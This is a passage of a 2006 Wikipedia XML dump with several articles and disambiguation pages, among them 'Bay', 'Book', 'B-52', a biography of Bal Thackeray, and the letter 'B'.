        <id>241538</id>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|bay}}

A [[bay]] is an area of water bordered by land on three sides.

'''Bay''' may also refer to:
* [[Bay (color)]], a color of the hair coats of horses
* [[Bay leaf]], the aromatic leaves of several species of the Laurel family
* [[Bay, Somalia]]
* [[Bay, Laguna]], a municipality in the Philippines
* [[Michael Bay]], an American film director
* [[Jason Bay]], a professional baseball player
* [[Chancellor Bay]], a royal scribe to an ancient Egyptian ruler
* [[Bay (architecture)]], a module in classical or Gothic architecture
* [[Baia Mare Airport]] (IATA airport code: '''BAY''') in Baia Mare, Romania 

'''The Bay''' may refer to:
* [[The Bay]], a chain of department stores in Canada, subsidiary of the Hudson's Bay Company
* [[The Bay (radio station)]], in North West England

{{disambig}}

[[cy:Bae]]
[[da:Bugt]]
[[sv:Bukt]]</text>
    </revision>
  </page>
  <page>
    <title>Book</title>
    <id>3778</id>
    <revision>
      <id>41996948</id>
      <timestamp>2006-03-03T02:58:33Z</timestamp>
      <contributor>
        <username>Brighterorange</username>
        <id>219031</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/67.83.101.180|67.83.101.180]] ([[User talk:67.83.101.180|talk]]) to last version by Pvt Parts</comment>
      <text xml:space="preserve">{{otheruses}}

{{wiktionarypar|book}}

A '''book''' is a collection of leaves of [[paper]], [[parchment]] or other material, bound together along one edge within covers. A book is also a literary work or a main division of such a work. A book produced in electronic format is known as an [[e-book]].

In [[library and information science]], a book is called a [[monograph]] to distinguish it from serial [[publication]]s such as [[magazine]]s, [[journal]]s or [[newspaper]]s.

Publishers may produce low-cost, pre-proof editions known as '''galleys''' for promotional purposes, such as generating reviews in advance of publication. Galleys are usually made as cheaply as possible, since they are not intended for sale.

A lover of books is usually referred to as a [[bibliophilia|bibliophile]], a bibliophilist, or a philobiblist, or, more informally, a [[bookworm]].

A book may be studied by students in the form of a [[book report]]. It may also be covered by a professional writer as a [[book review]] to introduce a new book. Some belong to a [[book club]].

== History ==
[[Image:Old book bindings.jpg|thumb|right|300px|Historic manuscripts at the [[Merton College library]] at [[University of Oxford|Oxford]].]]
The oral account ([[word of mouth]], [[tradition]], [[hearsay]]) is the oldest carrier of messages and stories. When [[writing system]]s were invented in [[ancient civilization]]s, [[clay tablet]]s or [[parchment]] [[scroll (parchment)|scroll]]s were used as, for example, in the [[library of Alexandria]].

[[Scroll (parchment)|Scrolls]] were later phased out in favor of the [[codex]], a bound book with [[page (paper)|page]]s and a spine, the form of most books today.  The codex was invented in the first few centuries A.D. or earlier. Some have said that [[Julius Caesar]] invented the first codex during the [[Gallic Wars]]. He would issue scrolls folded up accordion style and use the &quot;pages&quot; as reference points.

Before the invention and adoption of the [[printing press]], almost all books were copied by hand, which made books comparatively expensive and rare.  During the early [[Middle Ages]], when only churches, universities, and rich noblemen could typically afford books, they were often chained to a bookshelf or a [[desk]] to prevent theft.  The first books used [[parchment]] or [[vellum parchment|vellum]] (calf skin) for the pages, which was later replaced with [[paper]].

In the mid 15th century books began to be produced by block printing in western Europe (the technique had been known in the East centuries earlier). In block printing, a relief image of an entire page was carved out of wood.  It could then be inked and used to reproduce many copies of that page.  Creating an entire book, however, was a painstaking process, requiring a hand-carved block for each page. Also, the wood blocks were not durable and could easily wear out or crack. 

The oldest dated book printed by the method of block printing is ''[[The Diamond Sutra]]''. There is a [[block printing|wood block printed]] copy in the [[British Library]] which, although not the earliest example of block printing, is the earliest example which bears an actual date. It was found in [[1907]] by the [[archaeologist]] Sir [[Marc Aurel Stein]] in a walled-up cave near [[Dunhuang]], in northwest [[China]]. The [[colophon (book)|colophon]], at the inner end, reads: ''Reverently [caused to be] made for universal free distribution by Wang Jie on behalf of his two parents on the 13th of the 4th moon of the 9th year of Xiantong [i.e. 11th May, CE [[868]] ]''.

The Chinese inventor [[Pi Sheng]] made moveable type of earthenware circa [[1045]], but we have no surviving examples of his printing. He embedded the characters, face up, in a shallow tray lined with warm [[wax]]. He laid a board across them and pressed it down until all the characters were at exactly the same level. When the wax cooled he used his letter tray to print whole pages.

It was not until [[Johann Gutenberg]] popularized the [[printing press]] with metal [[moveable type]] in the 15th century that books started to be affordable and widely available.  This upset the status quo, leading to remarks such as &quot;The printing press will allow books to get into the hands of people who have no business reading books.&quot; &lt;!-- need source for quote --&gt; It is estimated that in Europe about 1,000 various books were created per year before the invention of the printing press.

With the rise of printing in the fifteenth century, books were published in limited numbers and were quite valuable. The need to protect these precious commodities was evident. One of the earliest references to the use of [[bookmark]]s was in 1584 when the Queen's Printer, Christopher Barker, presented [[Queen Elizabeth I]] with a fringed silk bookmark.  Common bookmarks in the eighteenth and nineteenth centuries were narrow silk ribbons bound into the book at the top of the spine and extended below the lower edge of the page. The first detachable bookmarks began appearing in the 1850's and were made from silk or embroidered fabrics. Not until the 1880's, did paper and other materials become more common.

The following centuries were spent on improving both the printing press and the conditions for [[freedom of the press]] through the gradual relaxation of restrictive censorship laws.  See also [[intellectual property]], [[public domain]], [[copyright]]. In mid-20th century, Europe book production has risen to over 200,000 titles per year.

== Structure of books ==
{{main|Book design}}
Depending on a book's purpose or type (i.e. [[Encyclopedia]], [[Dictionary]], [[Textbook]], [[Monograph]]), its [[structure]] varies, but some common structural parts of a book usually are:
#[[Book cover]] (hard or soft, fancy-looking, with [[illustration]])
#[[Title page]] (shows title and author, often with small illustration or icon)
#Metrics page
#(sometimes - dedication page)
#[[Table of contents]]
#[[Preface]]
#Text of contents of the book
#[[Index (publishing)|Index]]

== Conservation issues ==
In the mid-[[19th century]], papers made from [[Wood pulp|pulp]] (cellulose, wood) were introduced because it was cheaper than cloth-based papers (i.e. linen or abaca).  Pulp based paper made cheap novels, cheap school text books and cheap books of all kinds available to the general public. This paved the way for huge leaps in the rate of literacy in industrialised nations and eased the spread of information during the [[Second Industrial Revolution]].

However, this pulp paper contained acid that causes a sort of [[slow fires]] that eventually destroys the paper from within. Earlier techniques for making paper used limestone rollers which neutralized the acid in the pulp. Libraries today have to consider [[mass deacidification]] of their older collections.  Books printed from 1850-1950 are at risk; more recent books are often printed on acid-free or [[alkaline]] paper.

The proper care of books takes into account the possibility of chemical changes to the cover and text. Books are best stored in reduced lighting, definitely out of direct sunlight, at cool temperatures, and at moderate humidity. Books, especially heavy ones, need the support of surrounding volumes to maintain their shape. It is desirable for that reason to group books by size.

== Collections of books ==
[[Image:Brockhaus Lexikon.jpg|right|thumb|300px|Brockhaus Konversations-Lexikon, 1902]]

Maintaining a [[library]] used to be the privilege of princes, the wealthy, monasteries and other religious institutions, and [[university|universities]].  The growth of a [[public library]] system in the United States started in the late [[19th century]] and was much helped by donations from [[Andrew Carnegie]].  This reflected classes in a society:  The poor or the middle class had to share most books through a public library or by other means while the rich could afford to have a [[private library]] built into their homes.

The advent of [[paperback]] books in the [[20th century]] led to an explosion of popular publishing. Paperback books made owning books affordable for many people. Paperback books often included works from genres that had previously been published mostly in [[pulp magazines]].  As a result of the low cost of such books and the spread of bookstores filled with them (in addition to the creation of a smaller market of extremely cheap used paperbacks) owning a private library ceased to be a status symbol for the rich.

While a small collection of books, or one to be used by a small number of people, can be stored in any way convenient to the owners, a large or public collection requires a [[catalogue]] and some means of consulting it.  Often codes or other marks have to be added to the books to speed the process of relating them to the catalogue and their correct shelf position.  Where these identify a volume uniquely, they are referred to as &quot;call numbers&quot;.  In large libraries this call number is usually based on a [[Library classification]] system.  The call number is placed inside the book and on the spine of the book, normally a short distance before the bottom, in accordance with institutional or national standards such as [[ANSI]]/[[NISO]] Z39.41 - 1997.  This short (7 pages) standard also establishes the correct way to place information (such as the title or the name of the author) on book spines and on &quot;shelvable&quot; book-like objects such as containers for [[DVD]]s, [[video tape]]s and [[Computer software|software]].

In library and booksellers' catalogues, it is common to include an abbreviation such as &quot;Crown 8vo&quot; to indicate the [[paper size]] from which the book is made.

When rows of books are lined on a bookshelf, [[bookend]]s are sometimes needed to keep them from slanting.

== Keeping track of books ==
One of the earliest and most widely known systems of cataloguing books is the [[Dewey Decimal System]]. This system has fallen out of use in some places, mainly because of a Eurocentric bias and other difficulties applying the system to modern libraries. However, it is still used by most public libraries in America. Another popular classification system is the [[Library of Congress]] system, which is more popular in university libraries. 

All books of the world are said to constitute the [[Gutenberg Galaxy]], or, to use a term coined by eBook author [[Rick Sutcliffe]] in the early 1980s, the [[Metalibrary]].

For the entire 20th century most [[librarian]]s concerned with offering proper library services to the public (or a smaller subset such as students) worried about keeping track of the books being added yearly to the Gutenberg Galaxy.  Through a global society called the [[International Federation of Library Association]]s (IFLA) they devised a series of tools such as the International Standard Book Description or [[ISBD]].

Besides, each book is specified by a International Standard Book Number, or [[ISBN]], which is unique to every book produced by participating publishers, world wide. It is managed by the &lt;nowiki&gt;ISBN&lt;/nowiki&gt; Society. It has four parts. The first part is the country code, the second the [[publisher]] code, and the third the title code. The last part is a checksum or a check digit and can take values from 0-9 and X (10). The [[EAN]] [[Barcode]]s numbers for books are derived from the ISBN by prefixing 978, for Bookland and calculating a new check digit.

Many government publishers, in industrial countries as well as in developing countries, do not participate fully in the ISBN system.  They often produce books which do not have ISBNs.  In certain industrialized countries large classes of commercial books, such as novels, textbooks and other non-fiction books, are nearly always given ISBNs by publishers, thus giving the illusion to many customers that the ISBN is an international and complete system, with no exceptions.

== Transition to digital format ==
The term [[e-book]] (electronic book) in the broad sense is an amount of information like a conventional book, but in digital form. It is made available through internet, CD-ROM, etc.  In the popular press the term eBook sometimes refers to a device such as the [[Sony Librie EBR-1000EP]], which is meant to read the digital form and present it to a human being.

Throughout the [[20th century]], libraries have faced an ever-increasing rate of publishing, sometimes called an [[information explosion]].  The advent of [[electronic publishing]] and the [[Internet]] means that much new information is not printed in paper books, but is made available online e.g. through a [[digital library]], on [[CD-ROM]], or in the form of e-books.

On the other hand, though books are nowadays produced using a digital version of the content, for most books such a version is not available to the public (i.e. neither in the library nor on the Internet), and there is no decline in the rate of paper publishing.  There is an effort, however, to convert books that are in the [[public domain]] into a digital medium for unlimited redistribution and infinite availability.  The effort is spearheaded by [[Project Gutenberg]] combined with [[Distributed Proofreaders]].

There have also been new developments in the process of publishing books. Technologies such as [[print on demand]] have made it easier for less known authors to make their work available to a larger audience.

== Related articles and lists ==
* [[Author]]
* [[Bookbinding]]
* [[Bookselling]]
* [[List of books by title]]
* [[lists of authors|List of books by author]]
* [[List of books by genre or type]]
* [[List of books by award or notoriety]]
* [[List of years in literature|List of books by year of publication]]
* [[List of banned books]]
* [[List of fictional books]]
* [[Metasearch engine]] sites search multiple online bookstore sites.  Some require separate searches for new or used books.
** [[Addall]]
** [[BookFinder.com]]
* Online bookstores
** [[Abebooks]]
** [[Alibris]]
** [[Amazon.com]]
** [[BibliOZ]]
** [[Barnes &amp; Noble]]
** [[Borders Group|Borders]]
** [[Powell's City of Books]]
** [[Book Sense]]
** [[Thriftbooks]]

== Online book databases and lists ==
* [[The Internet Book Database of Fiction]]
* [[Internet Book List]]
* [[ISBNdb.com]], books database built from libraries data
* [http://librariesaustralia.nla.gov.au Libraries Australia] - catalog of books in 800+ Australian libraries

==External links==
{{wikiquote}}
{{Commons|Illustrations of book titles}}
*[http://headlesschicken.ca/eng204/ ''The History &amp; Future of the Book'' - course syllabus &amp; extensive bibliography]
*[http://www.thebookstandard.com/bookstandard/search/books_authors/index.jsp The Book Standard Books &amp; Authors Database]
*[http://www.lostcrafts.com/Printed-Book/Book-Main.html History of the Printed Book]

[[Category:Books|*]]
[[Category:Documents]]
[[be:Кніга]]
[[cs:Kniha]]
[[cv:Кĕнеке]]
[[cy:Llyfr]]
[[da:Bog (litteratur)]]
[[de:Buch]]
[[eo:Libro]]
[[es:Libro]]
[[et:Raamat]]
[[fi:Kirja]]
[[fr:Livre_(document)]]
[[he:ספר]]
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[[it:Libro]]
[[ja:&amp;#26412;]]
[[la:Liber]]
[[lt:Knyga]]
[[nds:Book]]
[[nl:Boek (document)]]
[[no:Bok]]
[[pl:Ksi&amp;#261;&amp;#380;ka]]
[[pt:Livro]]
[[ro:Carte]]
[[ru:Книга]]
[[simple:Book]]
[[sl:Knjiga]]
[[sr:Књига]]
[[sv:bok]]
[[tokipona:lipu toki]]
[[tr:Kitap]]
[[uk:Книга]]
[[zh:&amp;#22270;&amp;#20070;]]</text>
    </revision>
  </page>
  <page>
    <title>B-52 (disambiguation)</title>
    <id>3779</id>
    <revision>
      <id>36502673</id>
      <timestamp>2006-01-24T14:31:59Z</timestamp>
      <contributor>
        <username>N328KF</username>
        <id>77722</id>
      </contributor>
      <minor />
      <comment>moved [[B-52]] to [[B-52 (disambiguation)]]</comment>
      <text xml:space="preserve">'''B-52''' may refer to:

* [[B-52 Stratofortress]], a strategic bomber aircraft designed by [[Boeing]]
* [[B-52 (hairstyle)|B-52]], a hairstyle, named after the aircraft
* [[The B-52's]], a rock band, named after the hairstyle named after the aircraft
* [[B-52 shooter]], a cocktail
* [[B-52 (strain)|B-52]], a [[Strain (biology)|strain]] of ''[[Cannabis sativa]]''

'''B52''' may refer to:

* One of the [[Encyclopaedia of Chess Openings|ECO]] codes for the [[Sicilian Defence]] in [[chess]]

{{disambig}}
[[de:B52]]</text>
    </revision>
  </page>
  <page>
    <title>Bal Thackeray</title>
    <id>3780</id>
    <revision>
      <id>41867503</id>
      <timestamp>2006-03-02T06:15:47Z</timestamp>
      <contributor>
        <username>Raintaster</username>
        <id>119636</id>
      </contributor>
      <comment>Revert to last version by Hnsampat</comment>
      <text xml:space="preserve">'''&quot;Bal&quot; Keshav Thackeray''', popularly called 'Balasaheb', (born [[January 23]], [[1927]]) is the founder and 'Pramukh' (President) of the right wing [[Hindu]] party, [[Shiv Sena]] in [[India]]. He has gained notoriety for his racist attacks upon minority groups in Bombay and for being hostile toward Western culture.

==Background==
[[Image:bthackeray1.jpg|thumb|right|Bal Keshav Thackeray]]
Thackeray is a right-wing [[Hindu nationalism|Hindu nationalist]], and has referred to himself on occasion as the &quot;[[Adolf Hitler|Hitler]] of [[Mumbai|Mumbai]]&quot; and the &quot;Hitler of India&quot; [http://www.asiaweek.com/asiaweek/95/0922/nat5.html]. Several right-wing nationalists within the [[Shiv Sena]] (which he help found) and other Hindu-centric political parties brand him as ''Hindu Hridaysamrat'' (&quot;Emperor of the Hindu heart&quot;). 

Thackeray started his career as a [[cartoonist]] in the ''[[Free Press Journal]]'' of [[Bombay]] in the [[1950s]], and was a contemporary of [[R K Laxman]] during his early years. His cartoons were also published in the Sunday edition of ''[[The New York Times]]''. In [[1960]], he launched a cartoon weekly ''[[Marmik]]'' with his brother. He used it to campaign against the growing influence of non-[[Marathi]] people in Mumbai. He has also fought trade union control battles with the [[Communist]]s and [[Indian National Congress]].

He formed the Shiv Sena in [[1966]] with the intent of fighting for the rights of the natives of the state of Maharashtra (called Maharashtrians). There was a great exodus of people from all over India into Mumbai, the commercial capital and economic center of the nation, for employment. The Shiv Sena became an advocate of the 'Bhúmiputra' (or &quot;Sons of the Soil&quot;) policy, in response to a perceived threat amongst the native Maharashtrians that such an exodus would deny them of employment opportunities which were rightfully theirs. Politically, it has allied with the [[Bharatiya Janata Party]] (BJP). Bal Thackeray is said to have strong links with the [[Rashtriya Swayamsevak Sangh]] (RSS) and [[Vishva Hindu Parishad]] (VHP), which acts as the fountainhead of all pro-Hindu-right wing thought and political action in India.

==Controversy==

Thackeray is notorious for his intolerant stance towards people who have migrated to Mumbai from other parts of India, non-[[Hindu]]s and [[Pakistan]]is. In the late [[1970s]], the firebrand politician dared [[South India]]ns to leave Mumbai, or face the consequences.

Thackeray's latest skirmishes with the law stem from the inflammatory editorials he  continues to publish in his party mouthpiece, [[Sāmna]] (Confrontation).

==Targeting Muslims==

Bal Thackeray fired his first salvo against Indian Muslims through his party mouthpiece, Sāmna around the time the 16th century [[Babri Mosque|Babri Masjid]] was demolished by right-wing cadres of the [[Bharatiya Janta Party|BJP]] in the northern town of [[Ayodhya]], on 6&lt;sup&gt;th&lt;/sup&gt; December, [[1992]].

The Justice Srikrishna Commission of Enquiry, which investigated the ensuing communal riots in Mumbai, indicted Thackeray of sparking anti-Muslim violence, which led to more than 1,000 deaths in several massacres. The Srikrishna Commission found that Thackeray was personally responsible, not only for inciting the mobs through his incendiary speeches, but also directly coordinating the movement of the rioters. 

Thackeray's Shiv Sena is also perceived to be responsible for orchestrating violence against [[Christian]]s and other religious and linguistic minorities (non-Maharashtrians). After the Pakistan-backed militant actions began in Jammu &amp; Kashmir, Thackeray has constantly maintained that the Indian Muslims should consider themselves as &quot;Indians first and Muslims later&quot;.

The regular destruction of shops and restaurants that allow young people to celebrate [[St. Valentine's Day]], interpreted as indecent and un-Indian by Thackeray, is one of his most famous actions. Thackeray's supporters are known for their ability to enforce general strikes around [[Mumbai]]. Shiv Sena has, in the past, shut down the [[Pakistan]]i [[Consulate]] in the city, and has made it impossible for Pakistani sports teams to play in the city.

==Recent News==

More recently, the Shiv Sena has pushed for a ban on &quot;public obscenity&quot; by young couples in the metropolitan area.  

On [[September 5]], [[2004]], he announced his decision not to shave his beard &quot;'till we win the assembly elections in the state&quot;. A general decline in Shiv Sena support in recent years has resulted in increased intra-party rivalry between Bal Thackeray's son [[Udhav Thackeray]], and nephew [[Raj Thackeray]] in which senior Sena leaders, such as former Chief Minister [[Manohar Joshi]] have sided with Udhav, while hard-line leaders such as [[Narayan Rane]] and [[Sanjay Nirupam]] have sided with Raj. Both these leaders were later expelled from Sena and joined Indian National Congress.

On December 18, 2005, Raj Thackeray announced his resignation as a primary member of the Shiv Sena.

On February 14, 2006, Bal Thackeray astonishingly condemned and apologized for the violent attacks of Shiv Sena members upon a private Valentine's Day celebration in Mumbai. &quot;It is said that women were beaten up in the Nallasopara incident. If that really happened, then it is a symbol of cowardice,&quot; Thackeray said, &quot;I have always instructed Shiv Sainiks that in any situation women should not be humiliated and harassed.&quot;[http://timesofindia.indiatimes.com/articleshow/1419743.cms] Thackeray and the Shiv Sena remain opposed to Valentine's Day celebrations, although they may support an &quot;Indian alternative.&quot;[http://timesofindia.indiatimes.com/articleshow/1413273.cms]

==External links==
*[http://news.bbc.co.uk/1/hi/world/south_asia/841488.stm Profile] by [[BBC]] dated July 19, 2000 referring to him as the &quot;uncrowned [[monarch]] of [[Maharashtra]]&quot;
*[http://www.hindustantimes.com/news/181_994563,001301310002.htm &quot;''Bal Thackeray: The Tiger who can't be tamed''&quot;] - HindustanTimes.com article dated September 8, 2004
[[Category:1927 births|Thackeray, Balasaheb]]
[[Category:Living people|Thackeray, Balasaheb]]
[[Category:Indian politicians|Thackeray, Balasaheb]]
[[Category:Indian cartoonists]]
[[sv:Bal Thackeray]]</text>
    </revision>
  </page>
  <page>
    <title>Mumbai (Bombay)</title>
    <id>3781</id>
    <revision>
      <id>15902096</id>
      <timestamp>2005-02-23T19:13:21Z</timestamp>
      <contributor>
        <username>Nichalp</username>
        <id>41228</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Mumbai]]</text>
    </revision>
  </page>
  <page>
    <title>Biblioholist</title>
    <id>3782</id>
    <revision>
      <id>15902097</id>
      <timestamp>2005-05-21T00:40:58Z</timestamp>
      <contributor>
        <username>NoAccount</username>
        <id>269611</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Bibliophilia]]</text>
    </revision>
  </page>
  <page>
    <title>B</title>
    <id>3783</id>
    <revision>
      <id>41669497</id>
      <timestamp>2006-02-28T23:28:08Z</timestamp>
      <contributor>
        <username>Billpg</username>
        <id>268454</id>
      </contributor>
      <comment>/* Meanings for '''B''' */ B by StrawberryClock. Its still unremarkable. mutter grumble.</comment>
      <text xml:space="preserve">{{AZ|uc=B|lc=b}}
The letter '''B''' is the second letter of the modern [[Latin alphabet]]. Its name in [[English language|English]] is ''bee''. 

==History==

The letter B probably started as a [[pictogram]] of the floorplan of a [[house]] in [[Egyptian hieroglyph]]s or the [[Proto-semitic alphabet]].

{| align=&quot;center&quot; border=&quot;0&quot; cellpadding=&quot;5&quot;
|align=&quot;center&quot; width=&quot;130px&quot;|[[Image:EgyptianB-01.png|none|Egyptian hieroglyphic house]]  
|align=&quot;center&quot; width=&quot;130px&quot;|[[Image:Proto-semiticB-01.png|Proto-semitic house]]
|align=&quot;center&quot; width=&quot;130px&quot;|[[Image:PhoenicianB-01.png|Phoenician beth]]
|align=&quot;center&quot; width=&quot;130px&quot;|[[Image:GreekB-01.png|Greek beta]]
|align=&quot;center&quot; width=&quot;130px&quot;|[[Image:EtruscanB-01.png|Etruscan B]]
|align=&quot;center&quot; width=&quot;130px&quot;|[[Image:RomanB-01.png|Roman B]]
|-
|align=&quot;center&quot; valign=&quot;top&quot; width=&quot;130px&quot;|Egyptian hieroglyphic house 
|align=&quot;center&quot; valign=&quot;top&quot; width=&quot;130px&quot;|Proto-semitic house
|align=&quot;center&quot; valign=&quot;top&quot; width=&quot;130px&quot;|Phoenician beth
|align=&quot;center&quot; valign=&quot;top&quot; width=&quot;130px&quot;|Greek beta
|align=&quot;center&quot; valign=&quot;top&quot; width=&quot;130px&quot;|Etruscan B
|align=&quot;center&quot; valign=&quot;top&quot; width=&quot;130px&quot;|Roman B
|}

By [[1500 BC]], the [[Phoenician alphabet]]'s letter had a linear form that served as the basis for all later forms, which appeared in both the angular and more rounded forms. Its name must have corresponded closely to the [[Hebrew alphabet|Hebrew]] [[beth (letter)|beth]].

When the [[Ancient Greeks]] adopted the alphabet, they changed its name to [[beta (letter)|beta]] and turned the letter upside-down and later added a second loop. In earlier Greek inscriptions, the letter faces to the left, but in the [[Greek alphabet]] of later times it faces to the right, although there continued to be variations between pointed and rounded loops.

The [[Etruscans]] brought the Greek alphabet to what is now [[Italy]] and left the letter unchanged. The Romans later adopted the [[Old Italic alphabet|Etruscan alphabet]] to write [[Latin]], and the resulting letter, with rounded loops, has been preserved in the modern [[Latin alphabet]] used to write many languages, including [[English language|English]].

==Typography==

The modern lowercase letter a derives from later [[Roman cursive#New Roman cursive|Roman]] times, when scribes began omitting the upper loop of the capital.

{|
|align=&quot;center&quot;|[[Image:BlackletterB-01.png|Blackletter B]]
|align=&quot;center&quot;|[[Image:UncialB-01.png|Uncial B]]
|-
|align=&quot;center&quot;|[[Blackletter]] B
|align=&quot;center&quot;|[[Uncial]] B
|-
|align=&quot;center&quot;|[[Image:ModernRomanB-01.png|Modern Roman B]]
|align=&quot;center&quot;|[[Image:ModernItalicB-01.png|Modern Italic B]]
|align=&quot;center&quot;|[[Image:ModernScriptB-01.png|Modern Script B]]
|-
|align=&quot;center&quot;|Modern Roman B
|align=&quot;center&quot;|Modern Italic B
|align=&quot;center&quot;|Modern Script B
|}

The letter B should not be confused with the visually similar [[German (language)|German]] [[ß]].

==Usage==

In [[English language|English]] and most other languages that use the Latin alphabet, the letter b denotes the [[voiced bilabial plosive]] ([[International Phonetic Alphabet|IPA]] {{IPA|/b/}}), as in ''bib''. In English it is sometimes &quot;silent&quot;, as in ''debt'' or ''comb''. In medial position in [[Spanish language|Spanish]] it denotes the [[voiced bilabial fricative]] (IPA {{IPA|/&amp;beta;/}}). In [[Estonian_language|Estonian]], [[Icelandic language|Icelandic]], and in [[Chinese language|Chinese]] transcription, B is not voiced, but is still contrasted to P, which is a [[geminate]] {{IPA|/pp/}} in [[Estonian_language|Estonian]] and an [[aspirate]] {{IPA|/p&lt;sup&gt;h&lt;/sup&gt;/}} in Chinese and Icelandic.

In the [[International Phonetic Alphabet]] and [[X-SAMPA]], letter {{IPA|/b/}} denotes the [[voiced bilabial plosive]]. Variants of the letter b denote related [[bilabial consonant]]s, like the [[voiced bilabial implosive]] and the [[bilabial trill]]. In [[X-SAMPA]], capital B denotes the [[voiced bilabial fricative]].

==Codes for computing==
{{Letter
|NATO=Bravo
|Morse=–···
|B1=●
|B2=●
|B3=○
|B4=○
|B5=○
|B6=○
}}
In [[Unicode]] the [[majuscule|capital]] B is codepoint U+0042 and the [[minuscule|lowercase]] b is U+0062.

The [[ASCII]] code for capital B is 66 and for lowercase b is 98; or in [[Binary numeral system|binary]] 01000010 and 01100010, correspondingly.

The [[EBCDIC]] code for capital B is 194 and for lowercase b is 130.

The [[numeric character reference]]s in [[HTML]] and [[XML]] are
&quot;&lt;tt&gt;&amp;amp;#66;&lt;/tt&gt;&quot; and &quot;&lt;tt&gt;&amp;amp;#98;&lt;/tt&gt;&quot; for upper and lower case
respectively.

==Meanings for '''B'''==
* As a [[prefix]] B indicates second rate (where [[A]] is first/top rate) e.g. [[B-movie]], [[B-team]].
* In [[astronomy]],
** B stands for a January 16 through 31 discovery, in the provisional designation of a comet (e.g. [[C/1865 B1]], the Great Southern Comet of 1865) or asteroid (e.g. [[(4156) 1988 BE]]).
** ''b'' often denotes the [[semi-minor axis]] of an orbit.
* In [[aviation]], B (followed by a -) is the [[ICAO]] prefix for civil aircraft registered in China, Hong Kong, Macau, and Taiwan.
* [[Brassiere cup size]] '''B'''.
* In [[chemistry]], B is the symbol for the [[chemical element]] [[boron]].
* In [[chess]], B is a notation symbol (descriptive style) for the [[Bishop_(chess)|bishop]] piece.
* In the [[RGB color model]], B stands for the color [[blue]].
* In [[computer science]] and [[computing]],
** b is an alternate symbol for [[bit]] or [[byte]], and B is an alternate symbol for [[byte]].
** B is the name of the [[B programming language]] and the [[B-Method]], a leading [[formal method]].
** &lt;code&gt;&amp;lt;b&amp;gt;&lt;/code&gt; is the [[Deprecation|deprecated]] [[HTML element|HTML tag]] for marking [[bold]]face type.
** &lt;math&gt;\mathbb{B}&lt;/math&gt; can be used to indicate a [[Boolean]] [[datatype|type]], especially in [[formal specification|formal specifications]].
** B is a security division (&quot;Mandatory Protection&quot;) in the [[TCSEC]].
** A [[b-tree]] is a binary tree, a type of indexed data structure.
* In the diaries of [[Edwina Currie]], B was the code name for [[John Major]] with whom the author was having an affair.
* In [[education]], B is a &quot;good&quot; [[grade (education)|grade]], one below the top grade of ''A''.
* In [[electrical engineering]],
**B is the anode (plate) power supply (originally a [[battery (electricity)|battery]]) of [[vacuum tube]] circuitry.
**B is the symbol for [[susceptance]], the [[inverse]] of [[reactance]].
* In [[English language|English]] [[slang]], B is a [[euphemism]] for [[Illegitimacy|bastard]] or [[bitch]].
* In [[film]], &quot;B.&quot; was the [[costume designer]] for the movie [[Domino (film)|Domino]].
* In [[finance]], B is the [[New York Stock Exchange]] [[ticker symbol]] for [[Barnes Group Inc.]].
* In [[List of international license plate codes|international licence plate codes]], B stands for [[Belgium]].
* In [[paper size|international paper sizes]], B is a series of sizes with an aspect ratio of roughly 70% width to height. The B series is a scaled version of the A series.
* In [[mathematics]], 
** B is often used as a [[numerical digit|digit]] meaning ''[[eleven]]'' in [[hexadecimal]] and other positional [[numeral system]]s with a [[radix]] of 12 or greater.
** &lt;math&gt;\mathbb{B}&lt;/math&gt; in [[Blackboard bold]] notation represents [[Ball (mathematics)]].
** B may denote [[Brun's constant]], which equals ~1.902160583104.
* In [[medicine]], '''B''' (also, '''B+''' or '''B-''') is one of the human [[blood type]]s.
* In [[metrology]],
** B was sometimes used in the early twentieth century as a prefix for &quot;[[billion]]&quot; (e.g. [[BeV]]).
** B was the symbol for the [[candle (unit)|candle]] (from the French ''bougie''), a unit of [[luminous intensity]].
** b was the symbol for the [[barn (unit)|barn]], a unit of effective cross-section in particle physics.
* In [[music]],
** [[B (musical note)|B]] is a [[note]].
** B, or &quot;B-side&quot;, is the second or reverse side of a [[vinyl record]]; also called the flip side.
* In the [[North America]]n [[National Hockey League]], the [[Boston Bruins]] are sometimes referred to as the &quot;'''Bs'''&quot; because of the letter B on the front of their jerseys.
* In [[nutrition]], [[B]] refers to a group of [[vitamin|vitamins]].
* In [[photography]], B is a [[shutter speed]].
* In [[physics]],
** The [[vector (spatial)|vector]] '''B''' represents the [[magnetic field]].
** The [[symbol]] B stands for the [[units of measurement|unit]] [[Decibel|bel]].
** The bottom [[quark]] is represented with small &quot;b&quot;, the B [[meson]] is represented with capital &quot;B&quot;.
** ''b'' stands for the [[Wien displacement law constant]].
* As the first letter of a [[postal code]],
** In [[Canada]], B stands for [[Nova Scotia]].
** In the [[United Kingdom]], B stands for [[Birmingham]].
* In [[radio]]communication, B is the [[ITU prefix]] allocated to [[China]].
* In [[rail transport]], B is the [[UIC classification]] for the [[locomotive]] [[wheel arrangement]] known as [[0-4-0]] in the [[Whyte notation]]; a locomotive with two powered axles (and thus four wheels) in which the axles are linked by gearing or [[side rod]]s.
* On the serial numbers of [[United States dollar]]s, B identifies the [[Federal Reserve Bank of New York]].
* ''B'' is the name of a picture by ''StrawberryClock'', of a red B against a plain white background.

== See also ==
{{Commons|B}}
*&amp;#1042; : [[Ve (Cyrillic)]]

{{AZsubnav}}

[[Category:Latin letters]]

[[af:B]]
[[bs:B]]
[[ca:B]]
[[sn:B]]
[[cs:B]]
[[da:B]]
[[de:B]]
[[et:B]]
[[el:B]]
[[als:B]]
[[es:B]]
[[eo:B]]
[[fr:B]]
[[gl:B]]
[[ko:B]]
[[hr:B]]
[[io:B]]
[[id:B]]
[[it:B]]
[[he:B]]
[[kw:B]]
[[la:B]]
[[hu:B]]
[[nl:B]]
[[ja:B]]
[[no:B]]
[[nn:B]]
[[pl:B]]
[[pt:B]]
[[ro:B]]
[[simple:B]]
[[sl:B]]
[[fi:B]]
[[sv:B]]
[[tl:B]]
[[vi:B]]
[[tr:B]]
[[yo:B]]
[[zh:B]]</text>
    </revision>
  </page>
  <page>
    <title>BSE</title>
    <id>3784</id>
    <revision>
      <id>38922042</id>
      <timestamp>2006-02-09T15:01:47Z</timestamp>
      <contributor>
        <ip>203.214.17.99</ip>
      </contributor>
      <text xml:space="preserve">The [[TLA|Three-Letter Acronym or Abbreviation (TLA)]] '''BSE''' could stand for
* [[Bachelor's degree|Bachelor of Science in Engineering]]
